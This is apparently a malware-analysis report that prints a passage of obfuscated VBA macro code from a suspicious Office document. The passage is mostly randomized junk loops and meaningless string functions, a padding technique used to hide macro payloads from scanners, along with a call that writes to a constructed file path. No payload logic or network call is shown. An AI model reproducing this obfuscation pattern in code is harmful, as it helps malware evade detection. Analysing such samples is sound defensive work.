    Wend

    mcPofdDV = "clo#W[ c. LWCPOj.u" + "B.eP@QEr$rCuH XPj](y" + "MLMIPeSSch#A"
    For OyEUek = 0 To 298
        DnEGSk = StrReverse("Zr)oVmFpR(SuLPHuSE")
        PxoDfg = Right(".d*LzG)^#EYpIQ", 5)
        hVYvjA = Space(18)
        nBmBqxw = 1471 + 1617 + 1560
        mcPofdDV = LTrim("QU.!.LfZ?QMGeJ")
        mcPofdDV = LTrim("^]hn)^ft?lKMG")
        bjZfRL = RTrim("TJaS-EkxP ()T!AJUw")
        bjZfRL = "?hAXLwh#&(p)jp&W" + "*wT!.&HfxUGJ?ZfK" + "r&O)&EAL%p?Yr-A"
    Next OyEUek

        XDYrIfW.Close
    DnEGSk = Left("(WDhY#IHSqJtAqx", 5)
    fcKFXqm = 265 - 1517 - 806
    While ldCxFe < 41
        bjZfRL = Left("SuTQBBZzL)", 2)
        fcKFXqm = "?B%KdeezMtQ*N&" + "ON*lNuvoybLsU*Z?(&" + "HXZa-PLk-RME !RrCEvv"
        ldCxFe = ldCxFe + 3
    Wend

    While WPQNyO < 140
        hVYvjA = 880 - 459 - 1349
        DnEGSk = StrReverse("#(d$$#@yopBL")
        riEGkY = UCase("^Q_B.&Cy$guRGSs")
        hVYvjA = "t^Z FDpezA*" + "?Uw.#^BJZ@l&dLVc-GH" + "R*f$jiut$O-&zx"
        GVCJXnQ = Right("%uDxCmazV-LGljjLJ%", 3)
        hVYvjA = RTrim("Bu.sCs.cQvxXuh")
        WPQNyO = WPQNyO + 3
    Wend

    fcKFXqm = RTrim("nWKvKXDZZsOY")
    mcPofdDV = Space(16)
    mcPofdDV = StrReverse("BRhVdTNAz^Vvj*znorJ")
    DnEGSk = "$?fmXR_HmFAuCxe?" + "?ZgzxUdRxzEfHH*" + ")k^Bwy#CYnZPgdgKPzf)"
    End If
    hVYvjA = 954 + 1793 + 1384
    hVYvjA = UCase("ydIYBb)]O[hFnE!NK")
    mcPofdDV = LTrim("XdF!r?[]K&")
    mcPofdDV = Left("tnI!@EASdu)%lK", 2)
    While GpHHGW < 27
        fcKFXqm = Space(14)
        PxoDfg = Space(20)
        hVYvjA = Space(15)
        bjZfRL = 253 - 1284 - 1738
        GpHHGW = GpHHGW + 1
    Wend

    While gIhkIt < 16
        nBmBqxw = Space(10)
        bjZfRL = UCase(" T&$TbL%HIA)sM?O!ju")
        GVCJXnQ = StrReverse("axWW qAyvAwE fRO*?k")
        hVYvjA = Space(3)
        gIhkIt = gIhkIt + 1
    Wend


    bjZfRL = Left("?Uj-^(z)uGtQnQVv@c", 5)
    PxoDfg = 882 - 669 - 1210
    nBmBqxw = Space(13)
    While vkdxYo < 253
        GVCJXnQ = 1604 - 312 - 1097
        bjZfRL = RTrim("KBcB_Ps!s%GVVPoqBpWD")
        bjZfRL = StrReverse("fmnI#cnl[hxdQhyu c")
        GVCJXnQ = 953 - 1989 - 1310
        vkdxYo = vkdxYo + 3
    Wend

    For iozuNS = 0 To 129
        nBmBqxw = "MaTg*%WEx&y)^L[Oi%XO" + "Hf%fNv&n!nBBE-" + "O?! Je_KHMkab("
        mcPofdDV = LTrim("LnVfzil.snBs&I*m")
        bjZfRL = Left("FMnA(w(M^tegZK!Pt", 4)
        fcKFXqm = Space(20)
        nBmBqxw = LTrim("wc#zfBeDg *lh@B!v")
        GVCJXnQ = Space(18)
        PxoDfg = 783 + 1406 + 807
        nBmBqxw = LTrim("UBsEwRwigF")
        fcKFXqm = Right("aoo]PGGa-wtx?", 3)
        fcKFXqm = RTrim("(!W_O&?tUg&%boeRsfU")
    Next iozuNS

    PxoDfg = LTrim("koYmxQd%PG")

    While jKbBw < 213
        fcKFXqm = RTrim("S#ICDAWbQz")
        While jLDtAR < 216
            riEGkY = RTrim(" vUqeOVArwvp*kDjhRSG")
            fcKFXqm = Right(" E*!klIU&GG[VC", 2)
            DnEGSk = StrReverse("GyUosHuD[Hq")
            jLDtAR = jLDtAR + 3
        Wend

        bjZfRL = LTrim("ib]fNKNCKnSeoH")
        riEGkY = Left("&TPy%NxnC&&_TYXa", 4)
        hVYvjA = Right("vStmTaaDLyuw$ &c", 3)
        bjZfRL = 1760 - 1639 - 586
        DnEGSk = Left("*AtxTeKV-irnt", 3)
        If jKbBw = 181 Then
            GVCJXnQ = 746 + 116 + 703
            GVCJXnQ = Left("#[N hZ!UYz", 5)
            bjZfRL = LTrim("nctXsp[hi_f?P?i")
            fcKFXqm = StrReverse("uRVKfXgZ^Z%hRb")
            For dhdmxz = 0 To 209
                GVCJXnQ = Left("D__u_LdhNOQ", 2)
                hVYvjA = Left("TnuJf(yUm-Tui?", 5)
                fcKFXqm = 538 + 571 + 1351
                GVCJXnQ = "wlqxO[lU($u)O@R  " + "aKVjj.y^@q@.gfMmiY*x" + " -*r. *_kJ"
            Next dhdmxz

            Call vhoyk(NBThZdoh & "\\" & lGgKeNOc(vNFcni), "HsacN", "tzSCDa", "eEhJod", "UNZhOhWd")
        End If
        riEGkY = RTrim("ZU-Ee(FNElwqnwO")
        nBmBqxw = 255 - 1368 - 1396
        bjZfRL = 919 + 1312 + 682
        hVYvjA = UCase("JVE-qLhZgdb-")
        GVCJXnQ = RTrim("ogWp[QryM__&Mh&")

    jKbBw = jKbBw + 1
    Wend
    bjZfRL = Right("r^mLHWeAWpF*dpv?RfP", 2)
    DnEGSk = "Nqfo.tEhwE QR" + "wWgP^YH&@iQ)*" + "v]?Wajaz MerEqL)@*g"
    mcPofdDV = "Brg)$zN#y.Z].-E_GQ" + "o*mM$ejYxDU-t" + "n[C@AY?%VY*"
    riEGkY = 1288 + 616 + 1218
    For OPyOgx = 0 To 236
        DnEGSk = 1191 - 1666 - 1649
        nBmBqxw = 135 + 1935 + 315
    Next OPyOgx

    hVYvjA = Right("wFGnQTt]EC*fxLLzBv", 2)
    For KIVDPc = 0 To 266
        fcKFXqm = UCase("m!g$PmM**RkP%m$QDq.o")
        riEGkY = 1805 - 1682 - 504
        mcPofdDV = 166 + 799 + 190
        DnEGSk = Right("WfUgi(Z]FB^UQk-", 4)
        hVYvjA = Space(15)
        hVYvjA = LTrim("XeC$e(b#mIYjpk")
        riEGkY = UCase("[*gv#p)dTfTt#sX")
        GVCJXnQ = 1708 + 586 + 460
        bjZfRL = 526 + 827 + 1934
        nBmBqxw = "oeXzX[@uPi ARBD_w" + "O@jAIWTTghbgJ$" + ")QCFsjt%zlrDHTHD "
    Next KIVDPc

    GVCJXnQ = Left("X&CY?lCk?r_le*_", 5)
    For YnyIwC = 0 To 123
        fcKFXqm = StrReverse("h(#FB_dlWvxr##tdt")
        bjZfRL = RTrim("!WEKLokmJQ")
    Next YnyIwC

    bjZfRL = "qs]K*#C#vWQ" + "hYP)I_p[VGNBomI]At?e" + "wFL#WinMFNCl_D-jE"

End Sub

Private Function xyZffp(WzEkIfX As Double, OMAeCY As Boolean, xlMdQSg As Double, ZItkbG As String) As String
    hVYvjA = 520 - 1499 - 176
    riEGkY = "xe.$Qvc)w]V" + "GNpjyEdaqudB)N]q]nj" + "cfVeguOo@Ozld"
    GVCJXnQ = Right("GywMud]tHqGSt)", 5)
    mcPofdDV = "nPpE*$C%xB_P_iqj" + "XbeZ#mGK!dPGBq^H%vJ" + "sYf(zY^e&$kbrApU!Y"
    hVYvjA = 685 + 1745 + 177
    nBmBqxw = StrReverse("RMLmnOEWC]@&E")
    hVYvjA = LTrim("HPigpFxn%IIkqJBkz")
    GVCJXnQ = RTrim("c(YdJJvW#X[^")
    nBmBqxw = 1818 - 317 - 1328
    fcKFXqm = Left("zH-J%&bOUDJ", 3)
    riEGkY = "TbwRk?RKOSn" + " u%HNPiL&d (]m" + "!#sJmb).kCX"
    hVYvjA = RTrim("qF!TGr_-ysUsnf")
    nBmBqxw = StrReverse("hN)kAgbPzMXoY")
    fcKFXqm = LTrim("AdNKQY)iNB(lz")
    hVYvjA = Left("[qekP)J]!@t", 4)
    DnEGSk = Right("u#uwBP@r-HVn", 4)
    nBmBqxw = UCase("PcZArzZ$PZoT")
    DnEGSk = Right("TBC*C#p]?OZGSF&cIk", 5)
    nBmBqxw = 1095 - 1373 - 628
    fcKFXqm = 667 - 487 - 1857
    GVCJXnQ = LTrim("nvpNkPA..OnAZEbRqf")
    hVYvjA = Space(1)
    GVCJXnQ = "s.UWEQ?uq$vLhLdOv" + "QGVKhKsN?vA" + "zqQnH$u$-IVcR"
    nBmBqxw = RTrim("O%MXkJfx?((K")
    riEGkY = 1205 - 1705 - 1144
    fcKFXqm = Left("m?n-Hu$orRxfs((yXT", 2)
    nBmBqxw = RTrim("AVLkS!zWqky")
    riEGkY = Right("#vq@(Z#si%#Fzp?t", 4)
    GVCJXnQ = UCase("!nuEvqpftuq")
    riEGkY = Right("yA!qD*wUfoES(lqYDt", 4)
    hVYvjA = 466 - 1232 - 1352
    DnEGSk = Space(17)
    mcPofdDV = LTrim("ny#hJM$QTYV(cTUnstQe")
    hVYvjA = Left("eKL[JfeBEgn_", 3)
    GVCJXnQ = LTrim("QLjVJw!Mzv]c")
    DnEGSk = "Hna&sL)xm*" + "dqdlX#GNSLxkeGN-#T" + " seaHM!!wpc[?Sn[x"
    mcPofdDV = UCase("KWzzFSTT&B")
    mcPofdDV = LTrim("v#(DqqBQBLKes?B")
    nBmBqxw = UCase("D.O]UUzI&$nc!o?T")
    xyZffp = "LGrynVjDUCPNdhrsGoAIRdIAKnQOLsyLWQbKQZd"
End Function

Private Function qvCaNz(kEZSwc As String, dtiuHi As Integer, qYVKpF As Boolean, Mmocfr As Integer) As String
    PxoDfg = RTrim("aypBCsZhdYMP(!mpT F")
    fcKFXqm = 1414 - 888 - 1655
    hVYvjA = 469 + 140 + 1380
    fcKFXqm = 1007 + 1807 + 205
    bjZfRL = RTrim("SG(?*L!I^CTX")
    GVCJXnQ = UCase("[P?z?GBifxX%wE**j")
    PxoDfg = 1258 - 444 - 1898
    nBmBqxw = Right("!*[.RV?cWt", 2)
    fcKFXqm = Space(18)
    mcPofdDV = "U#aYu_(WFHmLqj[?ZtDb" + "m[vYXsX*_G" + "tGNY[Y-%Ggo#iJ!K%bYV"
    hVYvjA = 438 - 924 - 1438
    DnEGSk = Right("IfvjkS$ZF]c[F[IFfr", 2)
    For VqYuPs = 0 To 364
        hVYvjA = Right("_qx.@?t& KdK-g@vJPn", 3)
        nBmBqxw = 306 - 130 - 510
    Next VqYuPs

    mcPofdDV = 981 + 228 + 591
    PxoDfg = RTrim("dF# WVErCX")
    mcPofdDV = 877 - 1576 - 473
    nBmBqxw = 481 - 1628 - 1115
    nBmBqxw = LTrim("rth*[g?z$lg)LDm")
    GVCJXnQ = LTrim("HNA*xmV$lEBfL^MaYo")
    PxoDfg = 1883 + 1281 + 1955
    hVYvjA = LTrim("zlhxPZ@EysSfO)z")
    fcKFXqm = UCase("rVsfG(Bnfa")
    DnEGSk = RTrim("XH]N$]Ymy$ru]")
    riEGkY = Left("#Mio%_AskY]", 5)
    hVYvjA = UCase("!Vz)pI#FxAD&Kqhv_!ce")
    bjZfRL = "MDyji$^?VWW*T" + "]FtMqBLcjvogF!ElZcYI" + "As[lGeSe%@x"
    PxoDfg = StrReverse("Hxr!i#flGMVO!ehDHU")
    While OcSfjl < 56
        mcPofdDV = 796 + 642 + 546
        mcPofdDV = 175 + 909 + 1837
        hVYvjA = StrReverse("BS@kFlk(MAkWTd")
        fcKFXqm = Right(".D_FuA^abGPuh&*p_", 3)
        mcPofdDV = "fs$a S&ys%kiNU" + "mN?qnkvw_Jipq[" + "UWGPggc)djS "
        nBmBqxw = 264 - 1367 - 766
        bjZfRL = Right("xtt$.VzI Jszob*bW", 3)
        DnEGSk = LTrim("hdUNGyiBfcLWf")
        OcSfjl = OcSfjl + 1
    Wend

    fcKFXqm = 1444 + 431 + 1617
    bjZfRL = UCase("X(tzw%iAIdMe*")
    qvCaNz = "YnMZrPMDxmQwwIoBQbmgTkfkUqbABR"
End Function

Private Function aPRXVx(czDGsa As Integer, zhfkXS As String, IhUcpdQ As Integer, wpTGUiX As Integer) As String
    hVYvjA = 1800 + 435 + 1635
    GVCJXnQ = 195 + 1821 + 1330
    mcPofdDV = 520 - 224 - 1162
    While fbGKtb < 274
        fcKFXqm = 214 - 1547 - 499
        riEGkY = Right("nWPc)Q?NLBz&XP", 2)
        PxoDfg = Space(2)
        nBmBqxw = StrReverse("Zt-qf@ A%(z")
        PxoDfg = 1928 - 672 - 145
        DnEGSk = UCase("r@^WDU)v(O.WdrBgvl")
        GVCJXnQ = UCase("j#b_OBunUmtAL%nyPG")
        fbGKtb = fbGKtb + 2
    Wend

    riEGkY = Space(2)
    DnEGSk = Left("hX?h_ED@Mz#F(va", 5)
    riEGkY = StrReverse("ECuv(obM@hv")
    While XVdXon < 78
        mcPofdDV = "wQy[pge.oc" + "fTm-rp$zWo.wXZFGfRM" + "urzQSmnOIhI!"
        PxoDfg = 317 - 1327 - 1392
        fcKFXqm = Space(19)
        hVYvjA = LTrim("#YrRUGt$AI")
        XVdXon = XVdXon + 3
    Wend

    nBmBqxw = UCase("X$buEd&-Siu_nU)!Sx")
    DnEGSk = Left("cupI?]SGYolxuQyIrzP", 4)
    nBmBqxw = UCase("K^QZc?PEb(w)AT)[G")
    PxoDfg = Right("fIjBu_T.tot", 5)
    GVCJXnQ = StrReverse("xhHKoht^hruY]-FGKN")
    bjZfRL = UCase("BBwR#tNogvExiBAQih")
    hVYvjA = RTrim("!$$CRS_V)Ag%clU")
    hVYvjA = LTrim("-NHU-R&eX*Dm!Eg")
    DnEGSk = 258 + 767 + 1834
    DnEGSk = Space(10)
    nBmBqxw = 950 - 753 - 698
    DnEGSk = LTrim("Jm*?]ur)G]$hZtcNhOnJ")
    PxoDfg = Left("[YEJ-r#JEpj", 3)
    GVCJXnQ = Left("CEVcQNhRc_nc!@$bk%", 4)
    riEGkY = Left("uSUY&-t][!aY%lVz", 4)
    GVCJXnQ = LTrim(" xRc PaQ[(qzT")
    mcPofdDV = Left(" XiPKMbulEA-%Ob", 5)
    bjZfRL = UCase("S_D^sf[W-Lj]")
    GVCJXnQ = RTrim("rM&NpRLl[MBx@NfED")
    riEGkY = LTrim("kLggv^zDhwRMP?R!Ku?")
    GVCJXnQ = Space(15)
    bjZfRL = "bQ?oAUDI.k(%" + "?D(wF)v!Rdkr#ka.q" + "zUWWw?B*TxVL[Z"
    mcPofdDV = 636 + 1380 + 1540
    aPRXVx = "csrixEWWYUMXvNHlkROAYTtTYXVTLUM"
End Function

Private Sub ahzDlQ(mzgTxXm As String, CWpZDZ As Double)
    hVYvjA = RTrim("]H.(x.j@Sb)")
    mcPofdDV = LTrim("!vT$D]#KiS)B#uc")
    PxoDfg = LTrim("Ps]faGXIMr#]H&Oz&cg")
    DnEGSk = 1163 - 1194 - 1117
    nBmBqxw = 1285 + 1293 + 397
    mcPofdDV = "t!NvTir-Wj*m&d^" + "lM!PrzxqB]([QxR%vji" + "Q[#pSVP%Otoe*A!YfKS"
    PxoDfg = LTrim("d?*_C)s^v*LaR")
    riEGkY = Right("_x?&GxeQYv", 4)
    fcKFXqm = 727 + 1975 + 1333
    hVYvjA = Space(8)
    fcKFXqm = "$Wm? ^EOHYnaqqg#Vo" + "W]CxICvzLM MTV" + "@?[(PICp$oI-YxO"
    GVCJXnQ = 1656 + 1103 + 891
    nBmBqxw = Left("nq&ZujkO?QsW&zg", 3)
    DnEGSk = Space(11)
    fcKFXqm = 1644 - 635 - 795
    While lQyRKL < 313
        hVYvjA = Space(7)
        riEGkY = Left("$%X )R%g_dGLVtWQUN", 3)
        GVCJXnQ = Left("L_-egg)BuqED!eBvc[X", 3)
        mcPofdDV = UCase("?(GPIaxgRoJ(m@__!")
        hVYvjA = StrReverse("m^@vBm^q&..%")
        fcKFXqm = RTrim("Mdz%zppgVNelSHpztSM")
        nBmBqxw = LTrim("%zWD-F^lKqGGn*")
        mcPofdDV = LTrim("rFiU_BSbNAvpyK..HB")
        nBmBqxw = Right("JtKeq$NKvlmPCOsK-ug^", 2)
        lQyRKL = lQyRKL + 2
    Wend

    riEGkY = LTrim("CNFVLPa#^eEi")
    mcPofdDV = Right("hzBaf YX]_WGDRGNw", 3)
    bjZfRL = UCase("gmdw[Fj^chH!D@wfH$")
    mcPofdDV = "lREv](JKPp]C@!%%d" + "PoBodU&pHlKR]mgozO" + "DY@R$(ClBSFce&vw@"
    hVYvjA = Right("cK^fkCO*h-D.", 5)
    DnEGSk = 292 - 1143 - 1878
End Sub

Private Sub QiytBN(ZBEcpP As String)
    DnEGSk = Space(10)
    nBmBqxw = Right("i-Q*iRzgkJU._cZppPbG", 4)
    mcPofdDV = Right("iCxFLOgL&my%&D", 5)
    riEGkY = "ysGge^^NSf" + "v@hI?HeoQQ%" + "?Ua]UMNI.M*na"
    While woLxOT < 126
        fcKFXqm = Left("g.KBPjdo[P@(bqPiC H)", 3)
        PxoDfg = Right("WxRNi!cZkHhZgwt.Cn", 3)
        hVYvjA = Right("?kK$UYEwy[OPs( ER", 2)
        DnEGSk = 757 + 1803 + 1286
        woLxOT = woLxOT + 2
    Wend

    DnEGSk = 903 + 1785 + 1554
    bjZfRL = UCase("lGcBLA(Ld%WNSLkVKF#")
    DnEGSk = UCase("w^%lHj$E(_A")
    hVYvjA = Right("%EVSGV  #Sz Dgg", 3)
    riEGkY = StrReverse("Kbx.QQ]dQB@F o NlHV")
    hVYvjA = UCase("ylp_dm$XLUkr$NjVkget")
    GVCJXnQ = Right("ezpHZDeX&h%", 3)
    hVYvjA = "&GaXzwKLiJe " + "oLE(Lebkit^-t^Vpcy" + "[j!-IZhv%X%aN"
    PxoDfg = 1518 + 837 + 186
    mcPofdDV = UCase("$DKazOVKmD]ECm*Q!r")
    nBmBqxw = Space(20)
    bjZfRL = Space(3)
    mcPofdDV = "zyCmpN#mOn)oH#lR&" + "OvxqWn)Fu)gCC" + "YlqfI(@TW@IP(ku"
    fcKFXqm = Space(6)
    hVYvjA = UCase(")YocHQ. urq@&")
    While ALLHFm < 384
        riEGkY = Space(15)
        DnEGSk = RTrim("hOTU%n]a@mkro&")
        mcPofdDV = 1842 - 372 - 1347
        DnEGSk = LTrim("NdB]DqF]. I_UwR")
        GVCJXnQ = "zkh ?y&vwu%!uV]@bJ" + "IGJzrclj^lu" + "d(K(r*Kmvxi$d^"
        PxoDfg = Right("#UQ!ziDLfb#MX^uDu@d", 2)
        riEGkY = "ZEi_YhrT@ " + "]Bf)ZfNarsftj!jvm[" + "O?A_ady#B#LB"
        nBmBqxw = 1819 + 1574 + 1736
        GVCJXnQ = 1009 - 1157 - 285
        bjZfRL = RTrim("E?]Pq-Kjt IBY[[azo")
        ALLHFm = ALLHFm + 2
    Wend

    hVYvjA = 1298 + 1148 + 1696
    nBmBqxw = StrReverse("QSFV-OzupT Af")
    PxoDfg = RTrim("*spv.tFcdnaxgCxK?")
    PxoDfg = 582 + 1135 + 1947
    hVYvjA = Space(13)
    bjZfRL = "aoFxhtoEDvuU" + "VjI]AuHJyIFEEJ S" + "MC-svbo%pQAhpbG*m"
End Sub

Private Function Wewxet(dksJRga As Integer, pXZBfX As String) As String
    hVYvjA = "Uoj]Rt?L@y?nv!" + "GoS?&X*-jzzx" + "iQnrsuCjhZsyHtHfqe"
    mcPofdDV = RTrim("K(ZdhBHm*U-?Y")
    hVYvjA = StrReverse("L@P#StzR[dtvVa$")
    For RPcJXM = 0 To 317
        fcKFXqm = Left("ISF#&SvfYTtHkc", 2)
        mcPofdDV = UCase("zLC%DXyTJKOPsw")
        mcPofdDV = UCase("za#csbjauXCgMk")
        riEGkY = 1648 + 1064 + 940
        PxoDfg = UCase("#!d^ZEl(njBV^@LVX")
        bjZfRL = "_&ir%aLhBmIG.ow" + "pbPOe(kyf&KQW q" + "ioMg]XVNTa"
        fcKFXqm = Left("ovx]_mRJ^uZOcEZ", 3)
        GVCJXnQ = 626 - 1889 - 1296
        riEGkY = RTrim("BGM*[lnhC^_ryA")
    Next RPcJXM

    riEGkY = UCase("D@rXpyGLzO.cfT")
    mcPofdDV = 1996 - 425 - 1131
    While MHzguq < 41
        PxoDfg = Right("XAAphtzI&M%R#", 2)
        GVCJXnQ = Left(" !!eb$qkcR", 3)
        GVCJXnQ = "hVK[Ek%Ds (G[EG#CWF" + "iSvOHsJ!MqKL-QD!" + "IjndlNw(agDW *(Of"
        MHzguq = MHzguq + 1
    Wend

    nBmBqxw = StrReverse("t@YihkPvJQ ")
    While iQsFAt < 177
        bjZfRL = 1489 + 1240 + 848
        DnEGSk = LTrim("pFj-!HwXzKX)yP ABN!")
        DnEGSk = UCase("[%JweMt%$Y_cZN*IPkS")
        hVYvjA = 586 - 798 - 198
        riEGkY = 941 - 1581 - 1441
        riEGkY = Right("Y?oPPyzNU[TNxm URzI%", 3)
        fcKFXqm = Left("*zGrvVDOL BeC)HM", 4)
        nBmBqxw = 1368 + 1703 + 417
        nBmBqxw = 1890 - 1460 - 1662
        bjZfRL = StrReverse("%GPovsFgRfskPT*W&jO")
        iQsFAt = iQsFAt + 1
    Wend

    hVYvjA = StrReverse("r]mhjz@PQu$x[tP")
    PxoDfg = Left("nxM&TUPtkpmORZZoEN", 4)
    PxoDfg = UCase("jyEhaBjWs(J.N(K")
    mcPofdDV = StrReverse(".P dH&KwkeKfwZ")
    bjZfRL = 1878 - 1001 - 627
    hVYvjA = Right("fc.n FwNc@oDSqL@vL", 4)
    For CjyZdB = 0 To 15
        nBmBqxw = Left("BWztP&bikOi$wjDYM($", 3)
        hVYvjA = StrReverse("s_oF%W_HIf&HnK(x")
        riEGkY = Right("b@EqI_d[n-_]%X", 3)
        DnEGSk = 1433 + 1692 + 185
        nBmBqxw = UCase("ht]E@n]xz-$uXUL")
        mcPofdDV = LTrim("CGE^dvTpNj")
        bjZfRL = LTrim("YEMeE( NHO_GYi Nl")
        bjZfRL = UCase("nZHVGNqHdSJCLEsk$")
        DnEGSk = RTrim("wKgw(AhGbYGU")
    Next CjyZdB

    PxoDfg = Left("MRQhuH^ScTSnmx", 3)
    GVCJXnQ = Right("L)DSZ_#R&[&[Zl)iY", 3)
    hVYvjA = "rK(_%ukb]FEHT" + "$KjGwCcu$?N@fe" + "?qU]Ncb]heqKo]Q^yrj"
    mcPofdDV = Left("Y_HT$IzddrL DXlV", 3)
    nBmBqxw = Right("h j)xfTIRU[Hs)@s", 3)
    fcKFXqm = UCase("kjj)$K$TMPWioGn(Ya")
    GVCJXnQ = LTrim("vcqCnaV$nQ?HON*z")
    fcKFXqm = Right("if tKnBUO_vX@*aAx", 3)
    fcKFXqm = 1463 - 145 - 927
    mcPofdDV = UCase("LXV**e$sE#dZ")
    riEGkY = LTrim("rxTuX.Rq#Jnis")
    PxoDfg = RTrim("R&)KKF^[ow%dvQ]pO")
    riEGkY = 164 - 201 - 557
    Wewxet = "eXFtcmcZAubEmskibyvQDFQCWJWjC"
…

Open this report in the interactive analyzer, or submit your own file for analysis.